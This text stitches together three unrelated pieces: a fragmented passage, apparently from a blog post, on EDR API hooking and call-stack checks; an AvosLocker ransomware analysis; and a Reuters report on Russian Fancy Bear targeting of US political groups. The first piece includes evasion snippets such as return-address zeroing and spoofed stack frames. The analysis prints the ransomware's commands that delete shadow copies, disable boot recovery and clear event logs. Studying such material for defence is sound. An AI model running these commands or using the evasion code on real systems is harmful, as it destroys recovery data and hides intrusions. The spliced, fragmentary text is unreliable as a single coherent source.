The Minimalistic x86/x64 API Hooking Library for Windows ### The DLL So, this is going to be a DLL which gets loaded into a process and then hooks functionality and makes some decision based on its behavior. Here is `DllMain`: ```c BOOL APIENTRY DllMain(HINSTANCE hInst, DWORD reason, LPVOID reserved) { switch (reason) { case DLL_PROCESS_ATTACH: { HANDLE hThread = CreateThread(nullptr, 0, SetupHooks, nullptr, 0, nullptr); if (hThread != nullptr) { CloseHandle(hThread); } break; } case DLL_PROCESS_DETACH: break; } return TRUE; } ``` When a `DLL_PROCESS_ATTACH` is the load reason, then we create a new thread and point it at our "main" function. This is where we initialize minhook and set up some hooks: ```c DWORD WINAPI SetupHooks(LPVOID param) { MH_STATUS status; if (MH_Initialize() != MH_OK) { return -1; } status = MH_CreateHookApi(L"ntdll", "NtAllocateVirtualMemory", NtAllocateVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtAllocateVirtualMemory_Original)); status = MH_CreateHookApi(L"ntdll", "NtProtectVirtualMemory", NtProtectVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtProtectVirtualMemory_Original)); status = MH_CreateHookApi(L"ntdll", "NtWriteVirtualMemory", NtWriteVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtWriteVirtualMemory_Original)); status = MH_EnableHook(MH_ALL_HOOKS); return status; } ``` `MH_Initialize()` is a mandatory call, so we start with that. Next, we create 3 hooks: - `NtAllocateVirtualMemory` - `NtProtectVirtualMemory` - `NtWriteVirtualMemory` Hooks are created with the `MH_CreateHookApi()` call: ```c MH_STATUS WINAPI MH_CreateHookApi(LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID *ppOriginal); ``` To create a hook, 4 things are needed: - Module Name - Function Name - Function to "replace" the desired function - Somewhere to store the original function address Below is an example: ```c MH_STATUS status = MH_CreateHookApi(L"ntdll", "NtAllocateVirtualMemory", NtAllocateVirtualMemory_Hook, reinterpret_cast<LPVOID*>(&pNtAllocateVirtualMemory_Original)); ``` `NtAllocateVirtualMemory_Hook()` is the function used to replace the original function: ```c NTSTATUS NTAPI NtAllocateVirtualMemory_Hook(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect) { if (Protect == PAGE_EXECUTE_READWRITE) { printf("[INTERCEPTOR]: RWX Allocation Detected in %ld (0x%p)\n", GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtAllocateVirtualMemory_Original(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); } } else { return pNtAllocateVirtualMemory_Original(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect); } } ``` The function is declared exactly the same as `typedef` for the function: ```c typedef NTSTATUS(NTAPI* _NtAllocateVirtualMemory)(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG_PTR ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect); ``` This is so that there are no issues with typing between hooks. In the `NtAllocateVirtualMemory_Hook` function, the only thing we are checking here is if the protection type is `PAGE_EXECUTE_READWRITE`, `RWX`, because this is commonly a sign of malicious activity (COMMONLY). If it matches, we just print that we found something. In `NtProtectVirtualMemory`, we just check for changes to `PAGE_EXECUTE_READ` as this is the common protection type to avoid RWX allocations: ```c NTSTATUS NTAPI NtProtectVirtualMemory_Hook(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN OUT PULONG NumberOfBytesToProtect, IN ULONG NewAccessProtection, OUT PULONG OldAccessProtection) { if (NewAccessProtection == PAGE_EXECUTE_READ) { printf("[INTERCEPTOR]: Detected move to RX in %ld (0x%p)\n", GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtProtectVirtualMemory_Original(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection); } } else { return pNtProtectVirtualMemory_Original(ProcessHandle, BaseAddress, NumberOfBytesToProtect, NewAccessProtection, OldAccessProtection); } } ``` In `NtWriteVirtualMemory`, no additional checks are made: ```c NTSTATUS NTAPI NtWriteVirtualMemory_Hook(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL) { printf("[INTERCEPTOR]: Detected write of %I64u in %ld (0x%p)\n", NumberOfBytesToWrite, GetProcessId(ProcessHandle), ProcessHandle); if (BLOCKING) { return 5; } else { return pNtWriteVirtualMemory_Original(ProcessHandle, BaseAddress, Buffer, NumberOfBytesToWrite, NumberOfBytesWritten); } } ``` ### The Loader In this instance, we have a PE which just calls `LoadLibraryA` on the DLL, and then runs a fake injection: ```c #include <Windows.h> #include <stdio.h> int main() { HMODULE hModule = LoadLibraryA("Interceptor.dll"); if (hModule == nullptr) { printf("[LOADER] [LOADER] Failed to load: %ld\n", GetLastError()); return -1; } printf("[LOADER] Interceptor.dll: 0x%p\n", hModule); Sleep(3000); CHAR buf[8] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; LPVOID pAddress = VirtualAlloc(nullptr, 8, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (pAddress == nullptr) { printf("[LOADER] VirtualAlloc: %ld\n", GetLastError()); return -1; } printf("[LOADER] Base: 0x%p\n", pAddress); if (WriteProcessMemory((HANDLE)-1, pAddress, buf, sizeof buf, nullptr) == FALSE) { printf("[LOADER] WriteProcessMemory: %ld\n", GetLastError()); return -1; } printf("[LOADER] Wrote!\n"); if (VirtualProtect(pAddress, sizeof buf, PAGE_EXECUTE_READ, nullptr) == FALSE) { printf("[LOADER] VirtualProtect: %ld\n", GetLastError()); return -1; } printf("[LOADER] Protected!\n"); return 0; } ``` ### Detecting Functionality Running this shows the calls being detected (in a non-blocking mode): In the screenshot, we can see: - Moves to RX - RWX Allocations - Writes of 8 bytes This is everything we planned on detecting. So, how would a bypass work here? Well, because of a lot of community development, it's quite easy in practice. But before that, we need to discuss User-land and Kernel-land. ### Bypassing the User-land hooks For this example, we are going to use Tartarus Gate. All we have to do is make this one call in `wmain`: ```c LoadLibraryA("Interceptor.dll"); ``` And then change the payload in `Payload`: ```c unsigned char payload[] = { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 }; ``` ### Checking the loaded modules: The DLL is loaded... Running it, and setting a breakpoint on the thread creation because the payload is junk: The above shows minhook being initialized, and then the hooks being enabled. Between this, there is a move to RX. However, it happens before the hooks are set up. So this is likely either minhook, or CRT doing something. We did not take the time to check this out. ### Hooking and Process Instrumentation Conclusion As we've stated, this isn't a comprehensive review of every potential technique. Another which might specifically be worth exploring is Vectored Exception Handling (VEH). Two examples of this are ethicalchaos's post on In-Process Patchless AMSI Bypass and Countercept's CallStackSpoofer. As with Kernel callbacks, this is a live field of study and there's far more to be explored than we have time or space in this post. ## Thread Call Stacks Another component of a process which gets interrogated is via the Threads Call Stack. As detailed in Viewing the Call Stack in WinDbg, the Call Stack is defined as: > The call stack is the chain of function calls that have led to the current location of the program counter. The top function on the call stack is the current function, the next function is the function that called the current function, and so on. The call stack that is displayed is based on the current program counter, unless you change the register context. For more information about how to change the register context, see Changing Contexts. As the call stack can help determine the intention of a thread, it often undergoes scrutiny to determine its validity. In this section, we want to demonstrate how the call stack can be used to determine malicious behavior (in a rudimentary example), and then discuss the offensive strategy for handling this. Here, we have an implant in Vulpes: If we look at the processes (10792) threads, we can see a bunch of threads starting at the elusive `TpReleaseCleanupGroupMembers`: This is quite common amongst processes, here is an example of `chrome.exe`: And then `RuntimeBroker.exe`: This is a good side-note for attackers. If the implant in question is reliant on masquerading as something else, then this needs to be considered. For example, if the implant is operating out of browsers such as chrome, then the HTTP should be handled the same way, and then entry-point and call stack of the thread should be mimicked. Back to the Vulpes implant, the call stack is primarily `TpReleaseCleanupGroupMembers` which is fine. However, if we go through some of the threads, here is the thread responsible for WinHTTP: And here is a generic thread started by the process: There are a few others, but let's focus on the second example because this is a call stack for a thread that will be found in a lot of processes. Let's look at how to programmatically read the thread stack and how a spoofed thread base address can look suspicious. Here is the entry point: ```c int main() { DWORD dwProcessId = 10792; DWORD dwSussThread = 1996; DWORD dwNormalThread = 26084; HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); SymInitialize(hProcess, NULL, TRUE); StackWalkThread(hProcess, dwSussThread); SymCleanup(hProcess); } ``` In the above, we have two thread IDs. - `1996`: The spoofed thread - `26084`: A somewhat normal stack With that, we need to write a function to enumerate the call stack of the thread. We can do that with the following code: ```c void StackWalkThread(HANDLE hProcess, DWORD dwThreadId) { STACKFRAME64 frame = { 0 }; CONTEXT context = { 0 }; int idx = 0; HANDLE hThread = OpenThread(MAXIMUM_ALLOWED, FALSE, dwThreadId); if (!hThread) return; context.ContextFlags = CONTEXT_FULL; if (GetThreadContext(hThread, &context) == FALSE) return; frame.AddrPC.Offset = context.Rip; frame.AddrPC.Mode = AddrModeFlat; frame.AddrStack.Offset = context.Rsp; frame.AddrStack.Mode = AddrModeFlat; frame.AddrFrame.Offset = context.Rbp; frame.AddrFrame.Mode = AddrModeFlat; printf("# Thread: %ld\n\n", dwThreadId); while (StackWalk64(IMAGE_FILE_MACHINE_AMD64, hProcess, hThread, &frame, &context, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL)) { DWORD64 moduleBase = SymGetModuleBase64(hProcess, frame.AddrPC.Offset); DWORD64 offset = 0; char symbolBuff[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR)] = { 0 }; PSYMBOL_INFO symbol = (PSYMBOL_INFO)symbolBuff; symbol->SizeOfStruct = sizeof(SYMBOL_INFO); symbol->MaxNameLen = MAX_SYM_NAME; if (SymFromAddr(hProcess, frame.AddrPC.Offset, &offset, symbol)) { printf( "\\_ Frame %d\n" " |_ Name: %s\n" " |_ Address: 0x%p\n\n", idx, symbol->Name, symbol->Address ); idx++; } } } ``` From the DbgHelp library, we are using: - `StackWalk64`: Obtains a stack trace. - `SyGetModuleBase64`: Retrieves the base address of the module that contains the specified address. - `SymFromAddr`: Retrieves symbol information for the specified address. Pointing the code to the normal thread stack: This matches what we saw earlier on. Changing this to point to the bad thread: This now shows a different thread stack we haven't seen so far. Looking at frame 3, it's `CreateTimeQueueTimer` which was described as the sleep obfuscation technique in: As a disclaimer, this technique has full kudos to Peter Winter-Smith. So, programmatically, it's easy to find out the call stack of a thread. Let's expand this into something completely rudimentary that we can start to work with. First, we'll define a hard-coded list of expected functions that we saw earlier on that we can use as an integrity check: ```c std::vector < std::string > expected = { "ZwWaitForWorkViaWorkerFactory", "TpReleaseCleanupGroupMembers", "BaseThreadInitThunk", "RtlUserThreadStart" }; ``` And then an empty one, to track everything we find: ```c std::vector<std::string> found; ``` Now, instead of just printing, let's add all the symbol names into a vector: ```c while (StackWalk64(IMAGE_FILE_MACHINE_AMD64, hProcess, hThread, &frame, &context, NULL, SymFunctionTableAccess64, SymGetModuleBase64, NULL)) { DWORD64 moduleBase = SymGetModuleBase64(hProcess, frame.AddrPC.Offset); DWORD64 offset = 0; char symbolBuff[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(TCHAR)] = { 0 }; PSYMBOL_INFO symbol = (PSYMBOL_INFO)symbolBuff; symbol->SizeOfStruct = sizeof(SYMBOL_INFO); symbol->MaxNameLen = MAX_SYM_NAME; if (SymFromAddr(hProcess, frame.AddrPC.Offset, &offset, symbol)) { found.push_back(symbol->Name); printf( "\\_ Frame %d\n" " |_ Name: %s\n" " |_ Address: 0x%p\n\n", idx, symbol->Name, symbol->Address ); idx++; } } ``` Once the code has run, and found all the symbols, let's see if the vectors match: ```c if (std::equal(expected.begin(), expected.end(), found.begin())) { printf("[ CLEAN ]\n"); } else { printf("[ DIRTY ]\n"); } ``` Pointing this at the good thread: We get the `CLEAN` message. And then the dirty thread: Obviously, this code isn't production-ready and the nuances of writing this kind of logic properly is extremely challenging. However, it is something that some EDR vendors are starting to pick up. Given the increase in research to confuse and blind endpoint protection, this is a good technique to have in the arsenal for both the blue and red teams. Speaking of red teams, research into correcting this thread-mishap has already been ongoing. This technique was first popularized by Peter Winter-Smith, who is a common reoccurrence in this space, and then reinterpreted by mgeeky in ThreadStackSpoofer. However, this proof-of-concept sets the return address to 0, removing references to memory addresses for shellcode injection. This is an example implementation for the Thread Stack Spoofing technique aiming to evade Malware Analysts, AVs, and EDRs looking for references to shellcode's frames in an examined thread's call stack. The idea is to hide references to the shellcode on the thread's call stack thus masquerading allocations containing malware's code. If we remove the sleep masking from Vulpes, here is how the call stack looks: The technique would aim to mask these addresses by storing the return address into a variable, setting the return address to 0, and then restoring the return address. For a quick code example from the above repository: ```c void WINAPI MySleep(DWORD _dwMilliseconds) { [...] auto overwrite = (PULONG_PTR)_AddressOfReturnAddress(); const auto origReturnAddress = *overwrite; *overwrite = 0; [...] *overwrite = origReturnAddress; } ``` In a more recent project, CallStackSpoofer by William Burgess was produced to take this a step further and fully mask the stack. See: Spoofing Call Stacks to confuse EDRs. By using predefined vectors of stacks, the project is able to mimic: - WMI - RPC - SVCHost An example of a predefined vector for WMI: ```c std::vector<StackFrame> wmiCallStack = { StackFrame(L"C:\\Windows\\SYSTEM32\\kernelbase.dll", 0x2c13e, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc669, 0, TRUE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc71b, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2fde, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2b9e, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x2659, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0x11b6, 0, FALSE), StackFrame(L"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\CorperfmonExt.dll", 0xc144, 0, FALSE), StackFrame(L"C:\\Windows\\SYSTEM32\\kernel32.dll", 0x17034, 0, FALSE), StackFrame(L"C:\\Windows\\SYSTEM32\\ntdll.dll", 0x52651, 0, FALSE), }; ``` By implementing this type of technique, it will make it extremely difficult to implement the call stack integrity checking we showed earlier (granted our demo was hard-coded values, but the point still stands). ## Conclusion This was a fairly long post in which we tried to provide some clarity into the mechanisms EDRs can use to not only identify malicious activity but prevent it. Along the way, we've discussed common pitfalls and some enhancements that can be made to protect against the bypasses. Whilst doing this, we've tried to shed more light onto the 'X bypasses EDR' narrative in which, yes, the beacon might have come back but there are likely logs of the activity. The next episode will look at ETW and AMSI!
# A Deep Dive into AvosLocker Ransomware ## Executive Summary AvosLocker is a ransomware-as-a-service (RaaS) group that appeared in 2021. The malware can run with one of the following parameters: “--help”, “--path”, “--disabledrives”, “--hide”, “--threads”, “--enablesmb”, “--brutesmb”, and “--nomutex.” The ransomware kills a list of targeted processes, deletes all Volume Shadow Copies using two commands, and clears all Windows event logs. The binary can target the logical drives as well as network shares by specifying proper arguments. The encryption is done using multithreading with I/O completion ports. AvosLocker uses a combination of RSA and Salsa20 algorithms during the encryption process. Finally, the ransomware creates an image based on the ransom note text that is set as the Desktop Wallpaper. ## Analysis and Findings SHA256: EC955F589F25D0D28E55964A1AA79C27492026982994CD4CA1FAF7E8A78DB4BC The malware performs a call to GetCurrentProcess and then opens the access token associated with the current process using the OpenProcessToken API (0xF01FF = TOKEN_ALL_ACCESS): Most of the strings are encrypted using the XOR operator. An example of a decryption algorithm is displayed. The LookupPrivilegeValueA function is utilized to retrieve the LUID (locally unique identifier) corresponding to the "SeTakeOwnershipPrivilege" privilege. AvosLocker enables the above privilege in the access token via a function call to AdjustTokenPrivileges. The binary decrypts a list of processes that will be killed: - "encsvc" - "thebat" - "mydesktopqos" - "xfssvccon" - "firefox" - "infopath" - "winword" - "steam" - "synctime" - "notepad" - "ocomm" - "onenote" - "mspub" - "thunderbird" - "agntsvc" - "sql" - "excel" - "powerpnt" - "outlook" - "wordpad" - "dbeng50" - "isqlplussvc" - "sqbcoreservice" - "oracle" - "ocautoupds" - "dbsnmp" - "msaccess" - "tbirdconfig" - "ocssd" - "mydesktopservice" - "visio" CreateToolhelp32Snapshot is used to take a snapshot of all processes in the system (0x2 = TH32CS_SNAPPROCESS). The ransomware extracts information about the first process from the snapshot using the Process32First routine. There is a comparison between the process name and the blacklisted processes. The malicious binary retrieves information about the next process from the snapshot via a call to Process32Next. AvosLocker uses the FNV (Fowler-Noll-Vo) hashing algorithm to identify and call relevant APIs at runtime. The executable opens a targeted process using OpenProcess (0x1 = PROCESS_TERMINATE). The TerminateProcess routine is utilized to kill the targeted process. The ransomware writes the following data in the command line output. We’ll explain the purpose of each parameter in the following paragraphs. The malware creates a mutex called "Zheic0WaWie6zeiy", which ensures that only one copy of the process is running at a single time. The process disables file system redirection by calling the Wow64DisableWow64FsRedirection API. The binary calls the WinExec function in order to spawn multiple processes: - cmd /c wmic shadowcopy delete /nointeractive – delete volume shadow copies - cmd /c vssadmin.exe Delete Shadows /All /Quiet – delete volume shadow copies - cmd /c bcdedit /set {default} recoveryenabled No – disable automatic repair - cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures – ignore errors in the case of a failed boot / shutdown / checkpoint - cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }" - clear all entries from the event logs The file comes with a hard-coded RSA public key. AvosLocker creates an input/output (I/O) completion port that is not yet associated with a file handle (0xFFFFFFFF = INVALID_HANDLE_VALUE). The malware creates multiple threads that will handle the files encryption. The starting address of the thread is StartAddress (sub_D0155F); however, the actual relevant function that will be called is sub_CBBAD0. The thread’s priority is set to 0x2 (THREAD_PRIORITY_HIGHEST) via a function call to SetThreadPriority. The number of created threads is 200 (default value); however, it can be modified using the -t (or --threads) parameter. FindFirstVolumeW is utilized to retrieve the first volume of the local machine. The ransomware extracts a list of drive letters and mounted folder paths for a volume using the GetVolumePathNamesForVolumeNameW function. The volume enumeration continues by calling FindNextVolumeW. The malware is looking for volumes that aren’t mounted using the GetDriveTypeW routine (0x1 = DRIVE_NO_ROOT_DIR). The binary associates an unmounted volume with a drive letter using SetVolumeMountPointW. AvosLocker obtains a bitmask representing the available disk drives. The process creates a thread for each drive that is found. The same method as above is utilized here, i.e., the starting address of the thread is StartAddress (sub_D0155F); however, the important function is sub_CBB930. All identified drives are written to the command line. The new threads’ priority is also set to THREAD_PRIORITY_HIGHEST by the malicious binary. GetConsoleWindow is used to retrieve the window handle used by the console associated with the process. The malware calls the ShutdownBlockReasonCreate API and indicates that the machine should not be shut down during the encryption process. The ransomware extracts the identifier of the calling thread. AvosLocker blocks the calling thread until all created threads will terminate their work using the Join method. ## Thread activity – sub_CBB930 function The ransomware decrypts a list of extensions that will be skipped: - "avos" - "avoslinux" - "avos2" - "avos2j" - "themepack" - "nls" - "diagpkg" - "msi" - "lnk" - "exe" - "cab" - "scr" - "bat" - "drv" - "rtp" - "msp" - "prf" - "msc" - "ico" - "key" - "ocx" - "diagcab" - "diagcfg" - "pdb" - "wpx" - "hlp" - "icns" - "rom" - "dll" - "msstyles" - "mod" - "ps1" - "ics" - "hta" - "bin" - "cmd" - "ani" - "386" - "lock" - "cur" - "idx" - "sys" - "com" - "deskthemepack" - "shs" - "ldf" - "theme" - "mpa" - "nomedia" - "spl" - "cpl" - "adv" - "icl" - "msu" The malicious executable starts enumerating the drive by calling the FindFirstFileW function. The ransomware creates a ransom note called “GET_YOUR_FILES_BACK.txt” in every directory that will be encrypted (0x40000000 = GENERIC_WRITE, 0x2 = CREATE_ALWAYS, 0x80 = FILE_ATTRIBUTE_NORMAL). The WriteFile routine is used to populate the ransom note. The process decrypts a list of folders that will not be encrypted: - "Program Files" - "Windows" - "Windows.old" - "bootmgr" - "ProgramData" - "System Volume Information" - "AppData" - "Public" - "All Users" - "boot" - "Intel" - "WinNT" - "Sophos" - "Microsoft." - "Games" - "config.msi" AvosLocker continues the file enumeration using FindNextFileW. A list of files that will be skipped is decrypted using the XOR operator: - "GET_YOUR_FILES_BACK.txt" - "desktop.ini" - "autorun.inf" - "ntldr" - "bootsect.bak" - "thumbs.db" - "boot.ini" - "ntuser.dat" - "iconcache.db" - "bootfont.bin" - "ntuser.ini" - "ntuser.dat.log" - "Thumbs.db" An example of a comparison between the file extension and one that is whitelisted is shown below. The ransomware sends an I/O completion packet that contains the targeted file path to the IOCP created earlier. ## Thread activity – sub_CBBAD0 function GetQueuedCompletionStatus is utilized to dequeue an I/O completion packet from the IOCP. AvosLocker retrieves file system attributes for a file or directory and avoids the FILE_ATTRIBUTE_SYSTEM (0x4) attribute. Based on the assembly code we analyzed, the ransomware uses a free C++ library of cryptographic schemes called Cryptopp. The malicious process acquires a handle to a key container within a particular cryptographic service provider (0x1 = PROV_RSA_FULL, 0xF0000000 = CRYPT_VERIFYCONTEXT). The ransomware generates 32 random bytes via a function call to CryptGenRandom. These bytes will be used to derive a Salsa20 key and a nonce. The RSA public key is converted into an array of bytes using CryptStringToBinaryA. The CryptDecodeObjectEx API is utilized to decode a structure of a particular type (0x1 = X509_ASN_ENCODING, 0x8 = X509_PUBLIC_KEY_INFO, 0x8000 = CRYPT_DECODE_ALLOC_FLAG). The process converts and imports the RSA public key information into the provider and returns a handle (0x1 = X509_ASN_ENCODING). The Salsa20 key (32 bytes) and a nonce (8 bytes) that were derived from the randomly generated buffer are encrypted using the RSA public key. The above buffer is reversed and converted to Base64 format (0x40000001 = CRYPT_STRING_NOCRLF | CRYPT_STRING_BASE64). The AllocateAndInitializeSid function is utilized to allocate and initialize a security identifier (SID) with 2 subauthorities. The malware creates a new ACL by calling the SetEntriesInAclA routine. SetNamedSecurityInfoW is utilized to modify the DACL of the targeted file (0x1 = SE_FILE_OBJECT, 0x4 = DACL_SECURITY_INFORMATION). The ransomware opens the file via a call to CreateFileW (0xc0000000 = GENERIC_READ | GENERIC_WRITE, 0x3 = OPEN_EXISTING, 0x80 = FILE_ATTRIBUTE_NORMAL). The file size is retrieved using the GetFileSizeEx API. AvosLocker reads 1MB at a time. The process moves the file pointer to the beginning of the file by calling SetFilePointer (0x0 = FILE_BEGIN). The binary passes a pointer to the file content to the encryption function. The file content is encrypted using the Salsa20 algorithm. The encrypted file content and the encrypted Salsa20 key and nonce are written to the file using WriteFile. The “.avos2” extension is appended to the encrypted files. An example of an encrypted file is displayed. AvosLocker displays some statistics regarding encryption in the command line window. The ransomware decrypts and runs a PowerShell script: ``` powershell -Command "$a = [System.IO.File]::ReadAllText(\"Z:\GET_YOUR_FILES_BACK.txt\");Add-Type -AssemblyName System.Drawing;$filename = \"$env:temp\$(Get-Random).png\";$bmp = new-object System.Drawing.Bitmap 1920,1080;$font = new-object System.Drawing.Font Consolas,10;$brushBg = [System.Drawing.Brushes]::Black;$brushFg = [System.Drawing.Brushes]::White;$format = [System.Drawing.StringFormat]::GenericDefault;$format.Alignment = [System.Drawing.StringAlignment]::Center;$format.LineAlignment = [System.Drawing.StringAlignment]::Center;$graphics = [System.Drawing.Graphics]::FromImage($bmp);$graphics.FillRectangle($brushBg,0,0,$bmp.Width,$bmp.Height);$graphics.DrawString($a,$font,$brushFg,[System.Drawing.RectangleF]::FromLTRB(0, 0, 1920, 1080),$format);$graphics.Dispose();$bmp.Save($filename);reg add \"HKEY_CURRENT_USER\Control Panel\Desktop\" /v Wallpaper /t REG_SZ /d $filename /f;Start-Sleep 1;rundll32.exe user32.dll, UpdatePerUserSystemParameters, 0, $false;" ``` The script’s purpose is to create an image that contains the ransom note and set that as the Desktop Wallpaper. ## Running with the -h (--help) parameter AvosLocker displays the help menu. ## Running with the -p (--path) parameter The ransomware only encrypts this specific directory. ## Running with the -l (--disabledrives) parameter AvosLocker doesn’t encrypt the logical drives. ## Running with the --hide parameter The malicious executable retrieves the window handle used by the console. The console window is hidden by calling the ShowWindow function (0x0 = SW_HIDE). ## Running with the -t (--threads) parameter This parameter represents the number of threads that will concurrently encrypt the files. ## Running with the -n (--enablesmb) parameter The ransomware starts enumerating all resources on the network via a function call to WNetOpenEnumA (0x2 = RESOURCE_GLOBALNET, 0x0 = RESOURCETYPE_ANY). WNetEnumResourceA is utilized to continue the enumeration of network resources. AvosLocker connects to a network share by calling the WNetAddConnection2A routine (0x4 = CONNECT_TEMPORARY). The network share name that will be encrypted is written to the command line. A similar thread that has enumerated logical drives is also created in order to traverse the network shares. ## Running with the -b (--brutesmb) -n (--enablesmb) parameters The process of discovering all network shares is identical to the above. The main idea, in this case, is that the malware is looking to extract the hostname/IP address from an available network share and trying to find logical drives based on it. The binary makes a connection to a potential logical drive using the WNetAddConnection2A function (0x4 = CONNECT_TEMPORARY). For all logical drives that can be found using the above method, the process creates a new thread that will enumerate them. Finally, AvosLocker writes the logical drives that were found to the command line. ## Running with the --nomutex parameter The ransomware doesn’t create the mutex in this case. ## Indicators of Compromise **Mutex** Zheic0WaWie6zeiy **AvosLocker Ransom Note** GET_YOUR_FILES_BACK.txt **Processes spawned** - cmd /c wmic shadowcopy delete /nointeractive - cmd /c vssadmin.exe Delete Shadows /All /Quiet - cmd /c bcdedit /set {default} recoveryenabled No - cmd /c bcdedit /set {default} bootstatuspolicy ignoreallfailures - cmd /c powershell -command "Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }"
# Exclusive: Russian Hackers Targeted California, Indiana Democratic Parties By Raphael Satter, Christopher Bing, Joel Schectman WASHINGTON (Reuters) - The group of Russian hackers accused of meddling in the 2016 U.S. presidential election earlier this year targeted the email accounts of Democratic state parties in California and Indiana, and influential think tanks in Washington and New York, according to people with knowledge of the matter. The attempted intrusions, many of which were internally flagged by Microsoft Corp over the summer, were carried out by a group often nicknamed "Fancy Bear." The hackers' activity provides insight into how Russian intelligence is targeting the United States in the run-up to the Nov. 3 election. The targets identified by Reuters, which include the Center for American Progress, the Council on Foreign Relations, and the Washington-based Carnegie Endowment for International Peace, said they had not seen any evidence of successful hacking attempts. Fancy Bear is controlled by Russia’s military intelligence agency and was responsible for hacking the email accounts of Hillary Clinton’s staff in the run-up to the 2016 election, according to a Department of Justice indictment filed in 2018. News of the Russian hacking activity follows last month's announcement by Microsoft that Fancy Bear had attempted to hack more than 200 organizations, many of which the software company said were tied to the 2020 election. Microsoft was able to link this year's cyber espionage campaign to the Russian hackers through an apparent programming error that allowed the company to identify a pattern of attack unique to Fancy Bear, according to a Microsoft assessment reviewed by Reuters. Microsoft declined to comment on Reuters’ findings, citing customer privacy. But Tom Burt, corporate vice president, customer security and trust, said in a statement that the company - and the U.S. government - “have been working hard to keep this election safe and secure.” The thrust of espionage operations could not be determined by Reuters. The Office of the Director of National Intelligence said in August that Russian operations were attempting to undermine the campaign of presidential candidate Joe Biden. Democratic National Committee spokesman Chris Meagher said it was “no surprise” that foreign actors were attempting to interfere with the election. The Russian Embassy in Washington said it does not interfere in America’s internal affairs and denied any link to “Fancy Bear,” calling the allegation “fake news.” The Trump campaign did not return messages. Over the summer, a specialized cybersecurity unit at Microsoft and federal law enforcement agents notified many of the targets who were in Fancy Bear’s crosshairs, according to six people with knowledge of the matter. Reuters last month identified SKDKnickerbocker, a lobbying firm allied with Biden, as one of them. The targeting of Democrats in Indiana and California - confirmed by four people familiar with the matter - suggests that the Russians are “casting their net wide,” said Don Smith of cybersecurity company Secureworks. The Indiana Democratic Party said in a statement it was “unaware of any successful intrusions.” California Democratic Party Chair Rusty Hicks acknowledged being targeted, but stopped short of naming Fancy Bear, saying in an email that “the effort by the foreign entity was unsuccessful.” The FBI declined comment. ## Attacks on Influential Non-Profits Fancy Bear also targeted think tanks and foreign policy organizations that hold sway in Washington and have, in the past, provided staff for presidential administrations. Among them was the Center for American Progress (CAP), a left-leaning group whose founder, John Podesta, was at the center of the 2016 Russian hack and leak operation, according to a person with direct knowledge of the incident. A CAP spokesperson said the organization had not been breached and declined further comment. The Open Society Foundations, one of the first organizations to see its correspondence leaked to the public by Fancy Bear in 2016, was targeted by the Kremlin again earlier this year, according to two people briefed on the matter. The group’s founder, George Soros, has provided substantial funding to pro-democracy causes and is a regular target of Russian disinformation as well as domestic conspiracy theories. In a statement, the Open Society said “obviously tensions are extraordinarily high heading into this election, and we are taking many steps to ensure the safety of our staff.” Others targeted by Fancy Bear in 2020 included the New York-based Council on Foreign Relations, the Washington-based Carnegie Endowment, and the Center for Strategic and International Studies - all of whom were notified by Microsoft, according to people familiar with the respective organizations. A CSIS spokesman declined comment on the hacking activity. A Carnegie spokeswoman confirmed the targeting, but declined to provide further detail. A spokeswoman with the Council on Foreign Relations said they had not been breached.
